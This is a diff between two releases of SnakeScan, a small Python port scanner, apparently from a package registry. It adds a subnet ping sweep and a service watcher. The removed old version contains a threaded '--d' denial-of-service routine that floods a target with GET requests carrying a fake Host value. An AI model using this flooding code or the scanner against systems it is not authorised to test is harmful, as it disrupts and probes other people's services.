SnakeScan 1.5.2__tar.gz → 1.5.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,7 +1,7 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: SnakeScan
3
- Version: 1.5.2
4
- Summary: Module SnakeScan using to scan port or ports in you device or other devices
3
+ Version: 1.5.4
4
+ Summary: Module SnakeScan
5
5
  Author: Den*Ram
6
6
  Description-Content-Type: text/markdown
7
7
  License-Expression: MIT
@@ -23,7 +23,13 @@ SnakeScan.run()
23
23
  ## Help
24
24
  - --l need internet to view public ip you device
25
25
  - --t threading port search
26
- - --d dos
27
26
  - --s single port search
28
27
  - --i information about host
29
28
  - --h in host /--h port in host
29
+ - --ch [host] scan subnet in ip
30
+ - exit in host or port off script
31
+ ## Added class Watcher:
32
+ ```
33
+ for SnakeScan import Watcher
34
+ Watcher(host:str,port:int)
35
+ ```
@@ -9,7 +9,13 @@ SnakeScan.run()
9
9
  ## Help
10
10
  - --l need internet to view public ip you device
11
11
  - --t threading port search
12
- - --d dos
13
12
  - --s single port search
14
13
  - --i information about host
15
- - --h in host /--h port in host
14
+ - --h in host /--h port in host
15
+ - --ch [host] scan subnet in ip
16
+ - exit in host or port off script
17
+ ## Added class Watcher:
18
+ ```
19
+ for SnakeScan import Watcher
20
+ Watcher(host:str,port:int)
21
+ ```
@@ -0,0 +1,58 @@
1
+ import ipaddress
2
+ import subprocess
3
+ import platform
4
+ from threading import Thread
5
+ import socket
6
+ from termcolor import colored
7
+
8
+ global threads
9
+ threads = []
10
+
11
+
12
+ def Check_network(host):
13
+ def check_host(host):
14
+ try:
15
+ if platform.system().lower() == "windows":
16
+ command = ["ping", "-n", "1", str(host)]
17
+ else:
18
+ command = ["ping", "-c", "1", str(host)]
19
+ result = subprocess.run(
20
+ command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
21
+ )
22
+ if result.returncode == 0:
23
+ print(f"{ip}-->{colored('|√|','green')}")
24
+ return True
25
+ else:
26
+ print(f"{ip}-->{colored('|X|','red')}")
27
+ return False
28
+ except Exception as e:
29
+ print(f"Check error {ip}: {e}")
30
+ return False
31
+
32
+ try:
33
+ print("".center(60, "-"))
34
+ try:
35
+ host = socket.gethostbyname(host)
36
+ except Exception as e:
37
+ print(e)
38
+ print("".center(60, "^"))
39
+ print("".center(60, "-"))
40
+ hosting = ""
41
+ hosting = host.split(".")
42
+ hosting[len(hosting) - 1] = "0"
43
+ network = ""
44
+ for i in range(len(hosting) - 1):
45
+ network += hosting[i] + "."
46
+ network += "0"
47
+ network += "/24"
48
+ network_str = network
49
+ network = ipaddress.ip_network(network_str)
50
+ print(f"Checking the IP addresses in the subset {network_str}...")
51
+ for ip in network.hosts():
52
+ t = Thread(target=check_host, kwargs={"host": host})
53
+ t.start()
54
+ threads.append(t)
55
+ for t in threads:
56
+ t.join()
57
+ except ValueError as e:
58
+ print(f"Ошибка при создании объекта сети: {e}")
@@ -0,0 +1,309 @@
1
+ """Module SnakeScan"""
2
+
3
+ __version__ = "1.5.4"
4
+ import socket
5
+ import ipaddress
6
+ from art import tprint
7
+ from datetime import datetime
8
+ from tqdm import tqdm
9
+ from termcolor import colored
10
+ from threading import Thread, Timer
11
+ from SnakeScan.Check_subnet import Check_network
12
+
13
+ next = None
14
+
15
+
16
+ class Watcher:
17
+ def __init__(self, host, port_user, sleep=0.5):
18
+ self.host = host
19
+ self.port_user = port_user
20
+ self.sleep = sleep
21
+ global next
22
+ Timer(sleep, Watcher, kwargs={"host": host, "port_user": port_user}).start()
23
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24
+ connection = sock.connect_ex((host, port_user))
25
+ if next != connection:
26
+ if connection == 0:
27
+ print(f"Service is up {host}-->|{port_user}|")
28
+ else:
29
+ print(f"Service is down {host}-->|{port_user}|")
30
+ next = connection
31
+
32
+
33
+ def run():
34
+ portsopen = 0
35
+ portsclosed = 0
36
+ Run_now = True
37
+ Bool = True
38
+ boolsd = True
39
+ global num
40
+ num = 0
41
+ boolean = 0
42
+ OpenPorts = []
43
+ threading = []
44
+ ports = {
45
+ 20: "FTP-DATA",
46
+ 21: "FTP",
47
+ 22: "SSH",
48
+ 23: "Telnet",
49
+ 25: "SMTP",
50
+ 43: "WHOIS",
51
+ 53: "DNS",
52
+ 67: "DHCP",
53
+ 68: "DHCP",
54
+ 69: "TFTP",
55
+ 80: "http",
56
+ 110: "POP3",
57
+ 115: "SFTP",
58
+ 123: "NTP",
59
+ 139: "NetBios",
60
+ 143: "IMAP",
61
+ 161: "SNMP",
62
+ 179: "BGP",
63
+ 443: "HTTPS",
64
+ 445: "MICROSOFT-DS",
65
+ 465: "SSL/TLS",
66
+ 514: "SYSLOG",
67
+ 515: "PRINTER",
68
+ 554: "RTSP",
69
+ 587: "TLS/STARTTLS",
70
+ 993: "IMAPS",
71
+ 995: "POP3S",
72
+ 1080: "SOCKS",
73
+ 1194: "OpenVPN",
74
+ 1433: "SQL Server",
75
+ 1723: "PPTP",
76
+ 2222: "SSH",
77
+ 3128: "HTTP",
78
+ 3268: "LDAP",
79
+ 3306: "MySQL",
80
+ 3389: "RDP",
81
+ 5432: "PostgreSQL",
82
+ 5900: "VNC",
83
+ 8080: "Tomcat",
84
+ 10000: "Webmin",
85
+ }
86
+
87
+ def is_port_open(host, port):
88
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
89
+ try:
90
+ s.settimeout(1)
91
+ s.connect((host, port))
92
+ except:
93
+ s.close()
94
+ return False
95
+ else:
96
+ s.close()
97
+ return True
98
+
99
+ def is_port_open_threads(host, port):
100
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
101
+ try:
102
+ s.settimeout(1)
103
+ s.connect((host, port))
104
+ except:
105
+ s.close()
106
+ try:
107
+ print(f"Closed{colored('|X|','red')}-->{ports[all]}|{all}|")
108
+ except:
109
+ print(f"Closed{colored('|X|','red')}-->|{all}|")
110
+ finally:
111
+ s.close()
112
+ else:
113
+ print(f"Open{colored('|√|','green')}-->{ports[all]}|{all}|")
114
+
115
+ print("–" * 60)
116
+ tprint("SnakeScan")
117
+ print("–" * 60)
118
+ while Run_now:
119
+ host = input(f"{colored('[$]','green')}Host-->")
120
+ if "--ch" in host:
121
+ host = host.strip("--ch")
122
+ host = host.strip()
123
+ Check_network(host)
124
+ continue
125
+ if "--v" in host:
126
+ print(f"Build_{__version__}")
127
+ continue
128
+ if "--h" in host:
129
+ host = host.strip("--h")
130
+ host = host.strip()
131
+ if host == "port":
132
+ print("Port:|--s port,--t|")
133
+ if host:
134
+ pass
135
+ else:
136
+ print("Host:|host --i,--l|")
137
+ continue
138
+ if "--i" in host:
139
+ host = host.strip("--i").strip()
140
+ print("".center(60, "-"))
141
+ try:
142
+ host = socket.gethostbyname(host)
143
+ except Exception as e:
144
+ print(e)
145
+ print("".center(60, "^"))
146
+ print("".center(60, "-"))
147
+ continue
148
+ hosting = ""
149
+ hosting = host.split(".")
150
+ hosting[len(hosting) - 1] = "0"
151
+ network = ""
152
+ for i in range(len(hosting) - 1):
153
+ network += hosting[i] + "."
154
+ network += "0"
155
+ network += "/24"
156
+ hosting = network
157
+ ip_obj = ipaddress.ip_address(host)
158
+ print(f"Type IP: {type(ip_obj)}")
159
+ print(f"Version IP: {ip_obj.version}")
160
+ network_obj = ipaddress.ip_network(network)
161
+ print(f"Network: {network_obj}")
162
+ print(f"Subnet mask: {network_obj.netmask}")
163
+ try:
164
+ hostname = socket.gethostbyaddr(host)
165
+ print(f"Host:{hostname[0]}")
166
+ except:
167
+ hostname = "Undefined"
168
+ print(f"Host:{hostname}")
169
+ try:
170
+ print(f"IP:{socket.gethostbyname(host)}")
171
+ except Exception as e:
172
+ print(f"IP:{e}")
173
+ continue
174
+ finally:
175
+ print("".center(60, "-"))
176
+ continue
177
+ if "http://" in host:
178
+ host = host.strip()
179
+ host = host.split("http:")
180
+ host = host.strip("//")
181
+ for i in range(len(host)):
182
+ if host[i] == "/":
183
+ host = host[0:i]
184
+ if "https://" in host:
185
+ host = host.strip()
186
+ host = host.strip("https:")
187
+ host = host.strip("//")
188
+ for i in range(len(host)):
189
+ if host[i] == "/":
190
+ host = host[0:i]
191
+ if host == "Exit".lower():
192
+ break
193
+ if host == "":
194
+ while True:
195
+ print(f"{colored('Host','green')}{colored('[X]:Empty value','red')}")
196
+ host = input(f"{colored('[$]','green')}Host-->")
197
+ if host:
198
+ break
199
+ if "--l" in host:
200
+ local = ""
201
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
202
+ try:
203
+ s.connect(("10.255.255.255", 1))
204
+ local = s.getsockname()[0]
205
+ except Exception as e:
206
+ local = f"127.0.0.1:{e}"
207
+ finally:
208
+ s.close()
209
+ print(local)
210
+ continue
211
+ port_user = input(f"{colored('[$]','green')}Port-->")
212
+ if port_user == "":
213
+ while True:
214
+ print(f"{colored('Port','green')}{colored('[X]:Empty value','red')}")
215
+ port_user = input(f"{colored('[$]','green')}Port-->")
216
+ if port_user:
217
+ break
218
+ port_single = port_user
219
+ if port_user == "Exit".lower():
220
+ break
221
+ if port_user:
222
+ try:
223
+ length = int(port_user)
224
+ except:
225
+ if "--t" in str(port_user):
226
+ print(f"Thread".center(60, "-"))
227
+ for all in ports.keys():
228
+ t = Thread(
229
+ target=is_port_open_threads,
230
+ kwargs={"host": host, "port": all},
231
+ )
232
+ threading.append(t)
233
+ t.start()
234
+ for t in threading:
235
+ t.join()
236
+ if "--s" in str(port_user):
237
+ port_user = port_single.strip("--s")
238
+ port_user = port_user.split()
239
+ port_list = port_user
240
+ port_user = []
241
+ for i in range(len(port_list)):
242
+ try:
243
+ port_user.append(int(port_list[i]))
244
+ except:
245
+ print(f"{port_list[i]}-->Invalid value")
246
+ break
247
+ for port in range(len(port_user)):
248
+ if is_port_open(host, port_user[port]):
249
+ print(
250
+ f"Open{colored('|√|','green')}{host}-->{ports[port_user[port]]}|{port_user[port]}|"
251
+ )
252
+ else:
253
+ try:
254
+ print(
255
+ f"Closed{colored('|X|','red')}{host}-->{ports[port_user[port]]}|{port_user[port]}|"
256
+ )
257
+ except:
258
+ print(
259
+ f"Closed{colored('|X|','red')}{host}-->|{port_user[port]}|"
260
+ )
261
+
262
+ continue
263
+
264
+ else:
265
+ if "--t" in port_user:
266
+ continue
267
+ port_user = "100"
268
+ print(f"{colored('[!]','red')}Port:invalid value")
269
+ for i in range(0, len(port_user)):
270
+ if port_user[i] == " ":
271
+ port_user = 100
272
+ break
273
+ port_user = int(port_user)
274
+ length = port_user
275
+ else:
276
+ print(f"{colored('|*|','blue')}100")
277
+ port_user = 100
278
+ length = port_user
279
+ print(f"{colored('|!|','red')}Listening {host} please wait...")
280
+ # |-----------------Starting---------------------|
281
+ length = int(length) + 1
282
+ for port in tqdm(range(1, length)):
283
+ if is_port_open(host, port):
284
+ for name in ports:
285
+ if port == name:
286
+ OpenPorts = [port]
287
+ portsopen += 1
288
+ else:
289
+ portsclosed += 1
290
+ if port_user != "":
291
+ if int(port_user) == port:
292
+ if port_user == "":
293
+ pass
294
+ elif int(port_user) == port:
295
+ if is_port_open(host, port):
296
+ Bool = True
297
+ boolean += 1
298
+ else:
299
+ Bool = False
300
+ if boolean == 1:
301
+ pass
302
+ for i in OpenPorts:
303
+ print(f"Open{colored('|√|','green')}-->{ports[i]}|{i}|")
304
+ print(f"{host}".center(60, "-"))
305
+ print(f"Closed{colored('|X|','red')}:{portsclosed}")
306
+ portsclosed = 0
307
+ print(f"Open{colored('|√|','green')}:{portsopen}")
308
+ portsopen = 0
309
+ print("-" * 60)
@@ -1,326 +0,0 @@
1
- """Module SnakeScan using to scan port or ports in you device or other devices"""
2
- __version__="1.5.2"
3
- import socket
4
- import ipaddress
5
- from art import tprint
6
- from datetime import datetime
7
- from tqdm import tqdm
8
- from termcolor import colored
9
- from threading import Thread, Timer
10
- import time
11
- next = None
12
- class Watcher():
13
- def __init__(self,host,port_user,sleep=0.5):
14
- self.host=host
15
- self.port_user=port_user
16
- self.sleep=sleep
17
- global next
18
- Timer(sleep, Watcher,kwargs={"host":host,"port_user":port_user}).start()
19
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
20
- connection = sock.connect_ex((host,port_user))
21
- if next != connection:
22
- if connection == 0:
23
- print (f"Service is up {host}-->|{port_user}|")
24
- else:
25
- print (f"Service is down {host}-->|{port_user}|")
26
- next = connection
27
- def run():
28
- portsopen=0
29
- portsclosed=0
30
- Run_now=True
31
- Bool=True
32
- boolsd=True
33
- global num
34
- num=0
35
- boolean=0
36
- OpenPorts=[]
37
- threading=[]
38
- ports = {
39
- 20: "FTP-DATA", 21: "FTP", 22: "SSH", 23: "Telnet",
40
- 25: "SMTP", 43: "WHOIS", 53: "DNS", 67:"DHCP", 68:"DHCP", 69:"TFTP", 80: "http", 110:"POP3",
41
- 115: "SFTP", 123: "NTP", 139:"NetBios", 143: "IMAP", 161: "SNMP",
42
- 179: "BGP", 443: "HTTPS", 445: "MICROSOFT-DS", 465:"SSL/TLS",
43
- 514: "SYSLOG", 515: "PRINTER", 554:"RTSP", 587:"TLS/STARTTLS", 993: "IMAPS",
44
- 995: "POP3S", 1080: "SOCKS", 1194: "OpenVPN",
45
- 1433: "SQL Server", 1723: "PPTP", 2222:"SSH", 3128: "HTTP",
46
- 3268: "LDAP", 3306: "MySQL", 3389: "RDP",
47
- 5432: "PostgreSQL", 5900: "VNC", 8080: "Tomcat", 10000: "Webmin" }
48
- def is_port_open(host,port):
49
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
50
- try:
51
- s.settimeout(1)
52
- s.connect((host,port))
53
- except:
54
- s.close()
55
- return False
56
- else:
57
- s.close()
58
- return True
59
- def dos_threads(host,port,fake_ip):
60
- host=host.strip("--d")
61
- host=host.strip()
62
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
63
- try:
64
- s.connect((host,port))
65
- s.sendto(("GET /"+host+"HTTP/1.1\r\n").encode("ascii"),(host,port))
66
- s.sendto(("Host: "+fake_ip+"\r\n\r\n").encode("ascii"),(host,port))
67
- s.close()
68
- return True
69
- except:
70
- s.close()
71
- return False
72
- def is_port_open_threads(host,port):
73
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
74
- try:
75
- s.settimeout(1)
76
- s.connect((host,port))
77
- except:
78
- s.close()
79
- try:
80
- print(f"Closed{colored('|X|','red')}-->{ports[all]}|{all}|")
81
- except:
82
- print(f"Closed{colored('|X|','red')}-->|{all}|")
83
- finally:
84
- s.close()
85
- else:
86
- print(f"Open{colored('|√|','green')}-->{ports[all]}|{all}|")
87
- print("–"*60)
88
- tprint("SnakeScan")
89
- print("–"*60)
90
- while Run_now:
91
- host=input(f"{colored('[$]','green')}Host-->")
92
- if "--v" in host:
93
- print(f"Build_{__version__}")
94
- continue
95
- if "--h" in host:
96
- host=host.strip("--h")
97
- host=host.strip()
98
- if host == "port":
99
- print("Port:|--s port,--t|")
100
- if host:
101
- pass
102
- else:
103
- print("Host:|--l,host --i,host --d|")
104
- continue
105
- if "--i" in host:
106
- host=host.strip("--i").strip()
107
- print("".center(60,"-"))
108
- try:
109
- host=socket.gethostbyname(host)
110
- except Exception as e:
111
- print(e)
112
- print("".center(60,"^"))
113
- print("".center(60,"-"))
114
- continue
115
- hosting=""
116
- hosting=host.split(".")
117
- hosting[len(hosting)-1]="0"
118
- network=""
119
- for i in range(len(hosting)-1):
120
- network+=hosting[i]+"."
121
- network+="0"
122
- network+="/24"
123
- hosting=network
124
- ip_obj = ipaddress.ip_address(host)
125
- print(f"Type IP: {type(ip_obj)}")
126
- print(f"Version IP: {ip_obj.version}")
127
- network_obj = ipaddress.ip_network(network)
128
- print(f"Network: {network_obj}")
129
- print(f"Subnet mask: {network_obj.netmask}")
130
- try:
131
- hostname=socket.gethostbyaddr(host)
132
- print(f"Host:{hostname[0]}")
133
- except:
134
- hostname="Undefined"
135
- print(f"Host:{hostname}")
136
- try:
137
- print(f"IP:{socket.gethostbyname(host)}")
138
- except Exception as e:
139
- print(f"IP:{e}")
140
- continue
141
- finally:
142
- print("".center(60,"-"))
143
- continue
144
- if "http://" in host and "--d" in host:
145
- host=host.strip().strip("--d")
146
- host=host.split("http:")
147
- host=host.strip("//")
148
- host=host+""+"--d"
149
- for i in range(len(host)):
150
- if host[i] == "/":
151
- host=host[0:i]
152
- if "https://" in host and "--d" in host:
153
- host=host.strip().strip("--d")
154
- host=host.strip("https:")
155
- host=host.strip("//")
156
- host=host+""+"--d"
157
- for i in range(len(host)):
158
- if host[i] == "/":
159
- host=host[0:i]
160
- if "http://" in host:
161
- host=host.strip()
162
- host=host.split("http:")
163
- host=host.strip("//")
164
- for i in range(len(host)):
165
- if host[i] == "/":
166
- host=host[0:i]
167
- if "https://" in host:
168
- host=host.strip()
169
- host=host.strip("https:")
170
- host=host.strip("//")
171
- for i in range(len(host)):
172
- if host[i] == "/":
173
- host=host[0:i]
174
- if "--d" in host:
175
- try:
176
- host=host.strip("--d")
177
- host=host.strip()
178
- host=socket.gethostbyname(host)
179
- host=host+""+"--d"
180
- except:
181
- print(f"{host} is not avaible")
182
- continue
183
- if "--d" in host:
184
- try:
185
- threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
186
- dos_port=int(input(f"{colored('[$]','green')}Port-->"))
187
- fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
188
- except:
189
- while True:
190
- print(f"{colored('|Threads|Port|','green')}{colored('[X]:Invalid value','red')}")
191
-
192
- try:
193
- threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
194
- dos_port=int(input(f"{colored('[$]','green')}Port-->"))
195
- fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
196
-
197
- except Exception as error:
198
- print(f"Error:{error}")
199
- continue
200
- if threadsnum:
201
- break
202
- for dos in range(0,threadsnum):
203
- num+=1
204
- t=Thread(target=dos_threads,kwargs={"host":host,"port":dos_port,"fake_ip":fake_ip})
205
- t.start()
206
- if dos_threads(host,dos_port,fake_ip):
207
- print("Dos-Information".center(60,"-"))
208
- print(f"{colored('[$]','green')}Threads--> {num} GET/HTTP/1.1")
209
- num=0
210
- else:
211
- try:
212
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
213
- host=host.strip("--d")
214
- host=socket.gethostbyname(host)
215
- s.connect((host,dos_port))
216
- except Exception as error:
217
- print(f"Error:{error}")
218
- continue
219
- if host == "Exit" or host == "exit":
220
- break
221
- if host == "":
222
- while True:
223
- print(f"{colored('Host','green')}{colored('[X]:Empty value','red')}")
224
- host=input(f"{colored('[$]','green')}Host-->")
225
- if host:
226
- break
227
- if "--l" in host:
228
- local=""
229
- s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
230
- try:
231
- s.connect(('10.255.255.255',1))
232
- local=s.getsockname()[0]
233
- except Exception as e:
234
- local=f"127.0.0.1:{e}"
235
- finally:
236
- s.close()
237
- print(local)
238
- continue
239
- port_user=input(f"{colored('[$]','green')}Port-->")
240
- if port_user == "":
241
- while True:
242
- print(f"{colored('Port','green')}{colored('[X]:Empty value','red')}")
243
- port_user=input(f"{colored('[$]','green')}Port-->")
244
- if port_user:
245
- break
246
- port_single=port_user
247
- if port_user == "Exit" or port_user == "Exit":
248
- break
249
- if port_user:
250
- try:
251
- length=int(port_user)
252
- except:
253
- if "--t" in str(port_user):
254
- print(f"Thread".center(60,"-"))
255
- for all in ports.keys():
256
- t=Thread(target=is_port_open_threads,kwargs={"host":host,"port":all})
257
- t.start()
258
- time.sleep(2)
259
- if "--s" in str(port_user):
260
- port_user=port_single.strip("--s")
261
- port_user=port_user.split()
262
- port_list=port_user
263
- port_user=[]
264
- for i in range(len(port_list)):
265
- try:
266
- port_user.append(int(port_list[i]))
267
- except:
268
- print(f"{port_list[i]}-->Invalid value")
269
- break
270
- for port in range(len(port_user)):
271
- if is_port_open(host,port_user[port]):
272
- print(f"Open{colored('|√|','green')}{host}-->{ports[port_user[port]]}|{port_user[port]}|")
273
- else:
274
- try:
275
- print(f"Closed{colored('|X|','red')}{host}-->{ports[port_user[port]]}|{port_user[port]}|")
276
- except:
277
- print(f"Closed{colored('|X|','red')}{host}-->|{port_user[port]}|")
278
-
279
- continue
280
-
281
- else:
282
- if "--t" in port_user:
283
- continue
284
- port_user="100"
285
- print(f"{colored('[!]','red')}Port:invalid value")
286
- for i in range(0,len(port_user)):
287
- if port_user[i] == " ":
288
- port_user=100
289
- break
290
- port_user=int(port_user)
291
- length=port_user
292
- else:
293
- print(f"{colored('|*|','blue')}100")
294
- port_user=100
295
- length=port_user
296
- print(f"{colored('|!|','red')}Listening {host} please wait...")
297
- #|-----------------Starting---------------------|
298
- length=int(length)+1
299
- for port in tqdm(range(1,length)):
300
- if is_port_open(host,port):
301
- for name in ports:
302
- if port == name:
303
- OpenPorts=[port]
304
- portsopen+=1
305
- else:
306
- portsclosed+=1
307
- if port_user != "":
308
- if int(port_user) == port:
309
- if port_user == "":
310
- pass
311
- elif int(port_user) == port:
312
- if is_port_open(host,port):
313
- Bool=True
314
- boolean+=1
315
- else:
316
- Bool=False
317
- if boolean == 1:
318
- pass
319
- for i in OpenPorts:
320
- print(f"Open{colored('|√|','green')}-->{ports[i]}|{i}|")
321
- print(f"{host}".center(60,"-"))
322
- print(f"Closed{colored('|X|','red')}:{portsclosed}")
323
- portsclosed=0
324
- print(f"Open{colored('|√|','green')}:{portsopen}")
325
- portsopen=0
326
- print("-"*60)
File without changes
File without changes